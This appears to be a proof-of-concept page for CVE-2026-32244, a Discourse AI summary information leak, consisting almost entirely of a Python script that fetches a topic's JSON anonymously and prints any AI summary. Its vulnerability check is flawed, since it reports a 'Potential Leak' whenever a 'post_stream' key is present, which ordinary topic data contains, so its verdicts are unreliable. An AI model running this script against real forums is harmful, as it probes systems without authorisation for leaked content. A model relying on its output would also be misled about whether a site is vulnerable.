CVE-2026-32244 Discourse AI摘要信息泄露漏洞

import requests # PoC for CVE-2026-32244: Discourse AI Summary Information Leak # This script checks if an outdated AI summary is exposed to unauthenticated users. target = "https://target-discourse-site.com/t/some-topic-id.json" headers = { "User-Agent": "Mozilla/5.0" } try: # Request topic data as an anonymous user response = requests.get(target, headers=headers) if response.status_code == 200: data = response.json() # Check for AI summary in the response (structure may vary) # In vulnerable versions, this might contain deleted content if 'ai_summary' in data or 'post_stream' in data: print("[+] Potential Leak Detected!") print("[+] AI Summary Data:", data.get('ai_summary')) else: print("[-] No AI summary found or patch applied.") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] Error: {e}")